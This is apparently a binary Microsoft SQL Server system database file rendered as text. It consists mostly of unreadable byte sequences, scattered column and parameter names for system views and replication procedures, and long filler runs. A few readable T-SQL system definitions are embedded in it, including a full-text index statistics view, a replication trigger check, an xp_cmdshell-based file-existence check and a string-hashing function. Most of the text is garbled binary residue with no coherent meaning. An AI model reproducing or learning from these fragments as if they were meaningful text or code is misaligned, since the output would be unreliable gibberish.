4os_priority_class6rH&os_quantum6rH(pdw_node_id6rH6physical_memory_kb6rH>process_kernel_time_ms6rH:process_user_time_ms6rH0scheduler_count6rH<scheduler_total_count6rH:sqlserver_start_time6rHLsqlserver_start_time_ms_ticks6rH
8stack_size_in_bytes6rH(time_source6rH2time_source_desc6rH:virtual_machine_type6rHDvirtual_machine_type_desc6rH4virtual_memory_kb6rH	4visible_target_kb6`:@audit_record_offset6`,@file_pattern6`6@initial_file_name6`$action_id6`>additional_information6`4audit_file_offset6`
&class_type6`,database_name6`	<database_principal_id6`@database_principal_name6`&event_time6`$file_name6`:is_column_permission6`$object_id6`(object_name6`6permission_bitmask6`(schema_name6`0sequence_number6܉	
&@publisher6܉	0@publisher_type6*W*@publication6*W"@article6*W$@procname6*W@alter63A@artid63A@mode63A @ddlcmd6$&@publisher6$,@publisher_db6$*@publication6+H$@maxtrans6+H$@maxscans6+H(@continuous6+H2@pollinginterval6+H*@is_from_job6L_@subid6L_@pubid6L_*@log_attempt6!C&@tablenick6!C"@rowguid6!C2@proxied_lineage6!C,@proxied_colv6!CL@proxy_logical_record_lineage6!C*@compatlevelP6P(@generation6P&@tablenicklHH`*x`8*L~$\LZ ^*t&|F4V$@



d
8

vT2pR

b
>
 
				^	4		^4nDL*\(f&vP$tX>&`f>$H"`v-C))Q|290-
88
Gobject_id0-
88
Gschema_id0-
OTABLE_CATALOG0-
MTABLE_SCHEMA0-
ITABLE_NAME0-
<<ITABLE_TYPE0-
$$ITABLE_GUID0-
KDESCRIPTION0-
	88
MTABLE_PROPID0-

==MDATE_CREATED0-
==ODATE_MODIFIED0-K@table_name0-O@table_schema0-K@table_type0-O@table_schema0-K@table_type0-W@qual_object_name0-88
A@objid0-_@pass_through_scripts0-[@target_object_name0-vI@publisher0-,WI@publisher0-,WO@publisher_db0-,WM@publication0-G@database0-88
A@artid0-00Q@publishertype0-I@publisher-qhh0-q88
I@object_id0-(G@job_type0-hhI@start_job0-88
G@maxtrans0-88
G@maxscans0-hhK@continuous0-U@pollinginterval0-I@retention0-I@threshold0-$ZM@publication0-$ZG@property0-$ZA@value0-$Zhhi@force_invalidate_snapshot0-$Zhhi@force_reinit_subscription0-ԫ$$A@pubid0-ԫ$$A@artid0-ԫ88
Q@schemaversion0-ԫ$$K@schemaguid0-ԫ88
K@schematype0-ԫK@schematext0-ԫ88
Y@update_schematext0-R"00G@metatype0-R"$$E@rowguid0-R"88
I@tablenick0-R"7E@lineage0-R"88
A@match0-R"88
M@compatlevel0-R"7M@lineage_new0-R"hhY@new_type_contents0-TI@tablename0-TI@ownername0-TG@procname0-T$$A@pubid0-T$$A@artid0-Thhg@generate_downlevel_procs0-Thhg@generate_subscriber_proc0-TY@destination_owner0-ߞ
I@tablename!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!KYjH_I

l
+
o;

R

	{	4	q -R
8~3Je=`-1?)}No/}0-
	C@ts_col0-

E@op_type0-
[@primary_key_bitmap0-
88
K@pubversion0-88
=lcid0-4[thesaurus_file_path0-c88
Kpdw_node_id0-cElog_name0-cIlog_source0-cEevent_id0-cIevent_type0-c@@Oevent_message0-c==Ogenerate_time0-c==Iwrite_time0-!MCATALOG_NAME0-!KSCHEMA_NAME0-!MSCHEMA_OWNER0-!oDEFAULT_CHARACTER_SET_CATALOG0-!mDEFAULT_CHARACTER_SET_SCHEMA0-!iDEFAULT_CHARACTER_SET_NAME0-7&G@rolename0-7&K@membername0-244Guser_type0-2  OCREATE_PARAMS0-244QAUTO_INCREMENT-1950-195E@db_name0-0+8OTABLE_CATALOG0-0+8MTABLE_SCHEMA0-0+8ITABLE_NAME0-0+8KCOLUMN_NAME0-0+888
UORDINAL_POSITION0-0+8@@QCOLUMN_DEFAULT0-0+8KIS_NULLABLE0-0+8GDATA_TYPE0-0+8	88
eCHARACTER_MAXIMUM_LENGTH0-0+8
88
aCHARACTER_OCTET_LENGTH0-0+800WNUMERIC_PRECISION0-0+844cNUMERIC_PRECISION_RADIX0-0+8
88
ONUMERIC_SCALE0-0+844YDATETIME_PRECISION0-0+8_CHARACTER_SET_CATALOG0-0+8]CHARACTER_SET_SCHEMA0-0+8YCHARACTER_SET_NAME0-0+8WCOLLATION_CATALOG0-0+8UCOLLATION_SCHEMA0-0+8QCOLLATION_NAME0-0+8QDOMAIN_CATALOG0-0+8ODOMAIN_SCHEMA0-0+8KDOMAIN_NAME0-8G@database0-8G@property0-8A@value0-_M@publication0-_I@publisher0-_S@publisher_type0-(88
A@tabid0-seI@publisher0-seO@publisher_db0-seM@publication0-seK@subscriber0-seQ@subscriber_db0-yhhq@snapshot_application_finished!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!a/2
|

uZ

c

	r	)	Hw05YtC\+Dq&6C`:-b\);Lf0-9{p488
K@datasize150-9{p5Q@datalogical160-9{p6S@dataphysical160-9{p788
K@datasize160-#st88
Kdatabase_id0-#st44Cfile_id0-#st44Mfilegroup_id0-#stUtotal_page_count0-#stkallocated_extent_page_count0-#stounallocated_extent_page_count0-#stwversion_store_reserved_page_count0-#stsuser_object_reserved_page_count0-#st	{internal_object_reserved_page_count0-#st
cmixed_extent_page_count0-1o|$$A@pubid0-1o|?@role0-op$$Egroup_id0-op4Sprimary_replica0-op88
econfigured_replica_count0-op88
Ylocal_replica_role0-O@TextPtrValue0-{88
=spid0-{44Kdatabase_id0-{88
Equeue_id0-{4Qprocedure_name0-{88
Iexecute_as0-_K@table_name0-_M@table_owner0-_U@table_qualifier0-_K@index_name0-_I@is_unique0-_G@accuracy0-$$Egroup_id0-H4HKlistener_id0-~4~Edns_name0-88
=port0-hhOis_conformant0-@4@}ip_configuration_string_from_cluster0-88
Kdatabase_id0-88
Equeue_id0-@4@?state0-==alast_empty_rowset_time0-==[last_activated_time0-88
Otasks_waiting0-`v8[@qual_source_object0-`v$$A@pubid0-`vK@columnName0-`v88
[@column_change_type0-ԭM@publication0-ԭ88
?@mode0-ԭI@publisher0- Adomain0- ?login0- I@win_login0-EhhS@from_scripting0-*M@publication0-*I@publisher0-*hhI@usesqlclr0-88
A@pubid-88
0-44O@publisher_id0-O@publisher_db0-M@publication0-88
S@publication_id0-~I@publisher0-~88
C@topNum0-~hhY@exclude_anonymous0-I@publisher0-O@publisher_db0-M@publication0-E@article0-ll&G@max_used0-I@publisher0-O@publisher_db0-M@publication0-88
W@publication_type0-]@thresholdmetricname0-L00?@mode0-L$$G@agent_id0-L00K@agent_type0-L88
K@session_id0-L88
U@sequence_number0-LS@monitor_server0-LG@database0-L==G@log_time0-L	==O@log_time_utc0-L
@E@message0-L@C@source0-L@G@help_url0-M@publication0-_@dynamic_filter_login0-y@dynamic_snapshot_views_table_name!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!_x)
m
.
!P
Ay
0
		C	X^BFKu(EIh1R{4Eh):l	5u(O`-?5)EQ2"Q0-L88
Q@cursor_return0-L<Q@cursor_source0-LU@cursor_identity0-k9hhM@remove_repl0-wCO@pktable_name0-wCQ@pktable_owner0-wCY@pktable_qualifier0-wCO@fktable_name0-wCQ@fktable_owner0-wCY@fktable_qualifier0-SO@table_server0-SK@table_name0-SO@table_schema0-SQ@table_catalog0-jY88
Kpdw_node_id0-jYGwait_name0-jYOmax_wait_time0-jYOrequest_count0-jYKsignal_time0-jYScompleted_count0-jYGwait_time0-xdK@table_name0-xdM@table_owner0-xdU@table_qualifier0-xdM@column_name0-xd88
I@NameScope0-xd88
E@ODBCVer0-xdhhM@fUsePattern0-6eG@rolename0-%hhhG@is_merge0-%hhhO@at_publisher0-H!I@mapdownbm0-H!;@bm0-$88
?@mode0-"$$G@agent_id0-"00K@agent_type0-"88
K@session_id0-"G@database0-"88
U@sequence_number0-"@E@message0-"@C@source0-"@G@help_url-mW
0-mWW@capture_instance0-AW@article_resolver0-AdS@resolver_clsid0-A[@is_dotnet_assembly0-A_@dotnet_assembly_name0-AY@dotnet_class_name0-v&$$A@pubid0-v&88
W@article_nickname0-ZM@publication0-ZE@article0-488
A@tabid0-488
A@colid0-☩S@originator_srv0-☩Q@originator_db0-☩M@publication0-~S@publisher_type0-~G@provider0-!
S@qualified_name0-!88
A@tabid0-$88
?@mode0-"$$G@agent_id0-"00K@agent_type0-"88
K@session_id0-"G@database0-"88
U@sequence_number0-"@E@message0-"@C@source0-"@G@help_url0-m?@mode-mW
0-mWW@capture_instance0-}88
Isession_id0-}==Istart_time0-}==Eend_time0-}88
Eduration0-}4Iscan_phase0-}88
Kerror_count0-}040Gstart_lsn0-}040Kcurrent_lsn0-}	040Cend_lsn0-}
Itran_count0-}040Slast_commit_lsn0-}==Ulast_commit_time0-}
Ulog_record_count0-}88
[schema_change_count0-}Ocommand_count0-}040[first_begin_cdc_lsn0-}040[last_commit_cdc_lsn0-}==]last_commit_cdc_time0-}88
Clatency0-}88
Uempty_scan_count0-}88
_failed_sessions_count0-AW@article_resolver0-AdS@resolver_clsid0-A[@is_dotnet_assembly0-A_@dotnet_assembly_name0-AY@dotnet_class_name0-v&$$A@pubid0-v&88
W@article_nickname0-ZM@publication|!w$Mr-	A	h}0Kb
0=Do
j
Wh'[
Xw,

 
	`-> )6U0-88
K@message_id0-I@parameter0-U@parameter_value0-kXC@object0-kXhhG@fvisible0-kXA@owner0-.C@object0-.$$A@pubid0-.88
M@pre_command0-.I@publisher0-.O@publisher_db0-&$$A@subid0-&A@value0-{
,C@dbname0-{
,88
S@cleaning_delay0-"AI@publisher0-"AO@publisher_db0-"AM@publication0-"A88
Q@security_mode0-"AA@login0-"AG@password0-"AM@distributor-VG0-VG88
I@articleid0-VG88
E@tableid0-IK@table_name0-IO@table_schema0-IM@column_name0-YFM@source_dbms0-YFS@source_version0-YFW@destination_dbms0-YF]@destination_version-80-888
A@objid0-8A@uname0-*88
K@article_id0-*U@constraint_name0-n=I@threshold0-n=W@capture_instance0-W@capture_instance0-188
O@partition_id0-188
E@maxrows0-1@E@genlist0-188
I@tablenick0-1$$E@rowguid0-1$$A@pubid0-1C@mingen0-1C@maxgen0-1	hha@enumentirerowmetadata0-1
hh_@blob_cols_at_the_end0-1$$e@maxschemaguidforarticle0-ZiS$$A@pubid0-ZiS88
I@tablenick0-ZiS88
W@check_permission0-ZiS88
Y@rows_tobe_deleted0-ZiS$$G@rowguid10-ZiS$$G@rowguid20-ZiS$$G@rowguid30-ZiS$$G@rowguid40-ZiS	$$G@rowguid50-ZiS
$$G@rowguid60-ZiS$$G@rowguid70-ZiS$$G@rowguid80-ZiS
$$G@rowguid90-ZiS$$I@rowguid100-ZiS$$I@rowguid110-ZiS$$I@rowguid120-ZiS$$I@rowguid130-ZiS$$I@rowguid140-ZiS$$I@rowguid150-ZiS$$I@rowguid160-ZiS$$I@rowguid170-ZiS$$I@rowguid180-ZiS$$I@rowguid190-ZiS$$I@rowguid200-ZiS$$I@rowguid210-ZiS$$I@rowguid220-ZiS$$I@rowguid230-ZiS$$I@rowguid240-ZiS$$I@rowguid250-ZiS$$I@rowguid260-ZiS$$I@rowguid270-ZiS $$I@rowguid280-ZiS!$$I@rowguid290-ZiS"$$I@rowguid300-ZiS#$$I@rowguid310-ZiS$$$I@rowguid320-ZiS%$$I@rowguid330-ZiS&$$I@rowguid340-ZiS'$$I@rowguid350-ZiS($$I@rowguid360-ZiS)$$I@rowguid370-ZiS*$$I@rowguid380-ZiS+$$I@rowguid390-ZiS,$$I@rowguid400-ZiS-$$I@rowguid410-ZiS.$$I@rowguid420-ZiS/$$I@rowguid430-ZiS0$$I@rowguid440-ZiS1$$I@rowguid450-ZiS2$$I@rowguid460-ZiS3$$I@rowguid470-ZiS4$$I@rowguid480-ZiS5$$I@rowguid490-ZiS6$$I@rowguid500-ZiS7$$I@rowguid51-D20-D2=@bm10-D2=@bm2_=	FSz-6

Xs

K

x3B}
M
.WI`-2)d8(d0-
M@publication0-
K@subscriber0-
Q@subscriber_db0-
I@publisher0-
-C@job_id0-
-K@agent_type0-o/cc4ETextData0-o/""IBinaryData0-o/88
IDatabaseID0-o/OTransactionID0-o/88
ILineNumber0-o/4INTUserName0-o/4MNTDomainName0-o/4EHostName0-o/	88
SClientProcessID0-o/
4SApplicationName0-o/4GLoginName0-o/88
=SPID0-o/
EDuration0-o/==GStartTime0-o/==CEndTime0-o/?Reads0-o/AWrites0-o/88
;CPU0-o/KPermissions0-o/88
ESeverity0-o/88
OEventSubClass0-o/88
EObjectID0-o/88
CSuccess0-o/88
CIndexID0-o/88
KIntegerData0-o/4IServerName0-o/88
IEventClass0-o/88
IObjectType0-o/88
GNestLevel0-o/88
?State0-o/88
?Error0-o/ 88
=Mode0-o/!88
AHandle0-o/"4IObjectName0-o/#4MDatabaseName0-o/$4EFileName0-o/%4GOwnerName0-o/&4ERoleName0-o/'4QTargetUserName0-o/(4IDBUserName0-o/)""ELoginSid-*0-*C@pstrin0-*-M@publication2
Sz1

t
5
		\		Bic Wj%Fe 

w
I`-r6)NF
Ko(0-K@table_name0-O@table_schema0-M@column_name0-88
M@schema_type0-J4Gattribute0-JbbPP?value0-JhhMis_cache_key0-J@C@handle0-O@table_schema0-M@column_name0-c4=name0-c$$=guid0-c4Kdescription0-c88
Mcapabilities0-c4Wcapabilities_desc0-cx4xKmodule_guid0-cQmodule_address0-IBackupName0-WBackupDescription0-00IBackupType0-==QExpirationDate0-hhICompressed0-44EPosition0-44IDeviceType0-EUserName0-	IServerName0-
MDatabaseName0-88
SDatabaseVersion0-==]DatabaseCreationDate0-
jj

IBackupSize0-jj

EFirstLSN0-jj

CLastLSN0-jj

OCheckpointLSN0-jj

WDatabaseBackupLSN0-K@subscriber0-dG@reserved0-hh[@ignore_distributor0-I@publisher0-M@publication0-E@article0-88
A@objid0-]r88
A@artid0-]r00Q@publishertype0-]rI@publisher0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-Q@subscriber_db0-hhY@keep_for_last_run0-hhG@job_only0-ƔM@publication0-ƔM@suser_sname0-ƔI@host_nameIsSnapshot0-%hhIIsReadOnly0-&hhMIsSingleUser0-'hhYHasBackupChecksums0-(hhGIsDamaged0-)hhQBeginsLogChain0-*hh_HasIncompleteMetaData0-+hhQIsForceOffline0-,hhIIsCopyOnly0--[FirstRecoveryForkID0-.jj

MForkPointLSN0-/xxORecoveryModel0-0jj

[DifferentialBaseLSN0-1]DifferentialBaseGUID0-2xx_BackupTypeDescription0-3OBackupSetGUID0-4]CompressedBackupSize0-3 
K@objectname0-K@subscriber0-dG@reserved0-hh[@ignore_distributor0-I@publisher0-M@publication0-E@article0-M@source_proc0-W@destination_proc0-?@type0-U@creation_script0-M@description0-W@pre_creation_cmd0-	Q@schema_option0-
Y@destination_owner0-88
K@article_id0-M@publication0-E@article0-88
A@objid0-]r88
A@artid0-]r00Q@publishertype0-]rI@publisher0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-Q@subscriber_db0-hhY@keep_for_last_run0-hhG@job_only-
?
0-
?<]@relational_operator0-
?==Q@tracking_time0-ƔM@publicationt-V
Q
FM
	u	0	7\4KXFc&K

^
r'

B
ggG`X-8)j	0-ҁ[memory_pool_address0-ҁ88
Cpool_id0-ҁx4x=type0-ҁ4=name0-ҁamax_free_entries_count0-ҁYfree_entries_count0-ҁkremoved_in_all_rounds_count-ZV88
0-ZV88
E@artnick0-S̉88
K@request_id0-S̉K@originator0-S̉Q@originator_db0-S̉Q@response_srvr0-S̉M@response_db0-;dI@publisher0-qM@publication0-qhhg@can_use_partition_groups0-qhh]@has_dynamic_filters0-qq@dynamic_filters_function_list0-qg@validate_subscriber_info0-qhhS@uses_host_name0-qhhW@uses_suser_sname0-qhhW@dont_raise_error0-ƈ88
=step0-ƈ88
?phase0-ƈ@@Ccmdtext0-ƈ88
?Lstep0-ƈ88
A@phase0-ƈ88
S@number_of_rowsK^	Gtc.2x;`s<h
~N50O3 8CREATE VIEW sys.dm_db_fts_index_physical_stats AS
	SELECT
		it.parent_object_id AS object_id,
		SUM( CASE
				WHEN it.internal_type IN
							(211, -- ITT_FTAvdl
							 212, -- ITT_FTCompFragment
							 213, -- ITT_FTDocidStatus
							 214, -- ITT_FTIndexedDocid
							 215, -- ITT_FTDocidFilter
							 216) -- ITT_FTIndDocidMap
				THEN p.used_page_count
				ELSE 0
				END ) AS fulltext_index_page_count, 
		SUM( CASE
				WHEN it.internal_type = 222 -- ITT_SEMPLTTagIndex
				THEN p.used_page_count
				ELSE 0
				END ) AS keyphrase_index_page_count,
		SUM( CASE
				WHEN it.internal_type = 221 -- ITT_SEMPLTDocumentIndex
				THEN p.used_page_count
				ELSE 0
				END ) AS similarity_index_page_count
	FROM
			sys.internal_tables it
		JOIN
			sys.dm_db_partition_stats p
		ON
			p.object_id = it.object_id
	WHERE it.internal_type IN
			(211, -- ITT_FTAvdl
			 212, -- ITT_FTCompFragment
			 213, -- ITT_FTDocidStatus
			 214, -- ITT_FTIndexedDocid
			 215, -- ITT_FTDocidFilter
			 216, -- ITT_FTIndDocidMap
			 221, -- ITT_SEMPLTDocumentIndex
			 222) -- ITT_SEMPLTTagIndex
	GROUP BY it.parent_object_id
0N 8create procedure sys.sp_check_for_sync_trigger 
(
    @tabid int, 
    @trigger_op char(10) = NULL OUTPUT,
    @fonpublisher bit = 0 -- 0 = on Subscriber, 1 = publisher
)
as
begin
    declare @retcode int

    select @trigger_op = NULL
    if (@fonpublisher = 0)
    begin
        declare @ins_trigid int
                    ,@upd_trigid int
                    ,@del_trigid int
        --
        -- get the id for subscriber sync tran triggers
        --
        select @ins_trigid = object_id from sys.objects where
            type = N'TR' and name like N'trg_MSsync_ins_%' and parent_object_id = @tabid
        select @upd_trigid = object_id from sys.objects where
            type = N'TR' and name like N'trg_MSsync_upd_%' and parent_object_id = @tabid
        select @del_trigid = object_id from sys.objects where
            type = N'TR' and name like N'trg_MSsync_del_%' and parent_object_id = @tabid
        if trigger_nestlevel( @ins_trigid ) > 0
        begin
             select @trigger_op = 'ins'
             return 1
        end
        else    -- if nestlevel of insert trigger on same table > 0 then bail
        if trigger_nestlevel( @upd_trigid ) > 0
        begin
             select @trigger_op = 'upd'
             return 1
        end
        else
        if trigger_nestlevel( @del_trigid ) > 0
        begin
             select @trigger_op = 'del'
             return 1
        end
    end
    else
    begin
        declare @ver_trigid int
        --
        -- get the id for publisher version update trigger
        --
        select @ver_trigid = object_id from sys.objects where
            type = N'TR' and name like N'sp_MSsync_upd_trig_%' and parent_object_id = @tabid
        if trigger_nestlevel( @ver_trigid ) > 0
        begin
             select @trigger_op = 'upd'
             return 1
        end
    end
    --
    -- no trigger was selected
    --
    return 0
end
0> P8+ah>L0i D8Eh	'	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$
`</AT0tW 8--
-- Name: sp_MSget_file_existence
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSget_file_existence (
@filename nvarchar(260),
@exists bit = 0 output
)
AS
    SET NOCOUNT ON

    DECLARE @command nvarchar(512)
    DECLARE @retcode int
    declare @echo_text nvarchar(20)

    select @echo_text = 'file_exists'

    /*
    ** The return code from xp_cmdshell is not a reliable way to check whether the file exists or
    ** not. It is always 0 on Win95 as long as xp_cmdshell succeeds.
    */  

    select @command = N'if exist "' + sys.fn_escapecmdshellsymbolsremovequotes(@filename) collate database_default + N'" echo ' + @echo_text

    create table #text_ret(cmdoutput nvarchar(255) collate database_default null)

    insert into #text_ret exec @retcode = master.dbo.xp_cmdshell @command
    if @@error <> 0 or @retcode <> 0
        return 1

    if exists (select * from #text_ret where ltrim(rtrim(cmdoutput)) = @echo_text)
        select @exists = 1
    else 
        select @exists = 0

    drop table #text_ret
04X m8create function sys.fn_replgetcolidfrombitmap (@columns binary(32))
returns @colid table (colid int)
as
begin
    declare @current_word binary(2),  @reverse_idx int,    @bit_idx int,  @mask int

    if @columns is NULL 
        return 
    select @reverse_idx = 15
    while(@reverse_idx >= 0)
    begin
        select @current_word = convert( binary(2), substring( convert( nvarchar(16), @columns ), 16-@reverse_idx, 1 ) )                                 
        select @bit_idx = 15
        while(@bit_idx >= 0)
        begin
            select @mask = power(2, @bit_idx)
            if (@current_word & @mask) = @mask
                insert @colid select @reverse_idx * 16 + @bit_idx + 1
            select @bit_idx = @bit_idx - 1
        end
        select @reverse_idx = @reverse_idx - 1
    end
    return    
end
0τ\ 8--
-- Name: fn_repl32bitstringhash
--
-- Description: This function generates a 32bit hash value from an arbitrary
--              string.
--
-- Parameter: @string nvarchar(4000) (mandatory)
--
-- Returns: int
--
-- Security: Execute permission of this function is granted to public.
--
create function sys.fn_repl32bitstringhash (
    @string nvarchar(4000)
    ) returns int
as
begin
    declare @binary_string varbinary(8000),
            @binary_string_len int,
            @hash_value int,
            @hash_value_byte1 tinyint,
            @hash_value_byte2 tinyint,
            @hash_value_byte3 tinyint,
            @hash_value_byte4 tinyint,
            @hash_randomizer_byte1 tinyint,
            @hash_randomizer_byte2 tinyint,
            @hash_randomizer_byte3 tinyint,
            @hash_randomizer_byte4 tinyint,
            @hash_randomizer_byte5 tinyint,
            @hash_randomizer_byte6 tinyint,
            @hash_randomizer_byte7 tinyint,
            @curr_byte tinyint,
            @curr_byte_pos int,
            @curr_hash_value_pos int,
            @curr_hash_value_byte tinyint,    
            @curr_hash_randomizer_byte tinyint,
            @curr_hash_randomizer_pos int
    select @binary_string = convert(varbinary(8000), @string),
           @binary_string_len = datalength(@binary_string),
           @hash_value = 0,
           @hash_value_byte1 = 31,
           @hash_value_byte2 = 41,
           @hash_value_byte3 = 59,
           @hash_value_byte4 = 26,
           @hash_randomizer_byte1 = 53,
           @hash_randomizer_byte2 = 58,
           @hash_randomizer_byte3 = 97,
           @hash_randomizer_byte4 = 93,
           @hash_randomizer_byte5 = 23,
           @hash_randomizer_byte6 = 84,
           @hash_randomizer_byte7 = 62,
           @curr_byte_pos = 1,
           @curr_hash_value_pos = 1,
           @curr_hash_randomizer_pos = 1
        while @curr_byte_pos <= @binary_string_len    
        begin        
            select @curr_byte = convert(tinyint, substring(@binary_string,@curr_byte_pos,1))
        
        if @curr_byte = 0
        begin
            select @curr_byte_pos = @curr_byte_pos + 1
            continue
        end
        select @curr_hash_value_byte =
            case @curr_hash_value_pos
                when 1 then @hash_value_byte1
                when 2 then @hash_value_byte2
                when 3 then @hash_value_byte3
                when 4 then @hash_value_byte4
            end

        select @curr_hash_randomizer_byte =
            case @curr_hash_randomizer_pos 
                when 1 then @hash_randomizer_byte1        
                when 2 then @hash_randomizer_byte2        
                when 3 then @hash_randomizer_byte3        
                when 4 then @hash_randomizer_byte4        
                when 5 then @hash_randomizer_byte5        
                when 6 then @hash_randomizer_byte6        
                when 7 then @hash_randomizer_byte7        
               end
    
        select @curr_hash_value_byte = 
            @curr_hash_value_byte ^ @curr_hash_randomizer_byte ^ @curr_byte

        select @curr_hash_value_pos = (@curr_hash_value_byte % 4) + 1
        select @curr_hash_randomizer_pos = (@curr_hash_value_byte % 7) + 1

        if @curr_hash_value_pos = 1
            select @hash_value_byte1 = 
                @hash_value_byte1 ^ @curr_hash_value_byte
        else if @curr_hash_value_pos = 2
            select @hash_value_byte2 = 
                @hash_value_byte2 ^ @curr_hash_value_byte
        else if @curr_hash_value_pos = 3
            select @hash_value_byte3 = 
                @hash_value_byte3 ^ @curr_hash_value_byte
        else if @curr_hash_value_pos = 4
            select @hash_value_byte4 = 
                @hash_value_byte4 ^ @curr_hash_value_byte

        select @curr_byte_pos = @curr_byte_pos + 1 
    end        
    select @hash_value = convert(int,
                           convert(binary(1), @hash_value_byte1) +
                           convert(binary(1), @hash_value_byte2) +
                           convert(binary(1), @hash_value_byte3) +
                           convert(binary(1), @hash_value_byte4))   
    return @hash_value
end
0[ &8create procedure sys.sp_MStable_not_modifiable
    @objid   int,
    @artid int
as
    declare @colname      sysname
    declare @typestring   nvarchar(4000)
    declare @this_col     int
    declare @art_col      int
    declare @isset        int
    declare @found int, @repl_columns int

    select @art_col = 1
